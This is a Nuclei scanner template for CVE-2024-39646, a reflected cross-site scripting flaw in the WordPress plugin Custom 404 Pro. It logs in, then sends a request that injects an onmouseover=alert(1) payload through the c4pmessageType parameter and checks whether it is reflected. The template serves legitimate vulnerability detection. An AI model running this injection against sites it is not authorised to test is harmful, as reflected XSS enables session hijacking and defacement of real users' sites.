id: CVE-2024-39646

info:
  name: WordPress Custom 404 Pro <= 3.11.1 - Reflected XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kunal Nagar Custom 404 Pro allows Reflected XSS.This issue affects Custom 404 Pro: from n/a through 3.11.1.
  impact: |
    Attackers can execute arbitrary scripts in victims' browsers, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 3.11.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-404-pro/custom-404-pro-3111-reflected-cross-site-scripting
    - https://plugins.trac.wordpress.org/changeset?old_path=/custom-404-pro/tags/3.11.1&new_path=/custom-404-pro/tags/3.11.2&sfp_email=&sfph_mail=
    - https://patchstack.com/database/vulnerability/custom-404-pro/wordpress-custom-404-pro-plugin-3-11-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-39646
    cwe-id: CWE-79
    epss-score: 0.00588
    epss-percentile: 0.43448
    cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kunalnagar
    product: custom_404_pro
    framework: wordpress
  tags: wordpress,wp-plugin,xss,authenticated,cve,cve2024,custom-404-pro,vkev

flow: http(1) && http(2)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=c4p-main&c4pmessage=hello&c4pmessageType=%22%20onmouseover%3Dalert(1)%20 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '" onmouseover=alert(1)'

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 4a0a00473045022100d9fb514d2ed83c622697e49127fddb6e8e41c0eb3396a1d975d9661056eb742802203980f38b103dd677e0789e11a63cc95859a1543e5c6c883536bf6215de3c2148:922c64590222798bb761d5b6d8e72950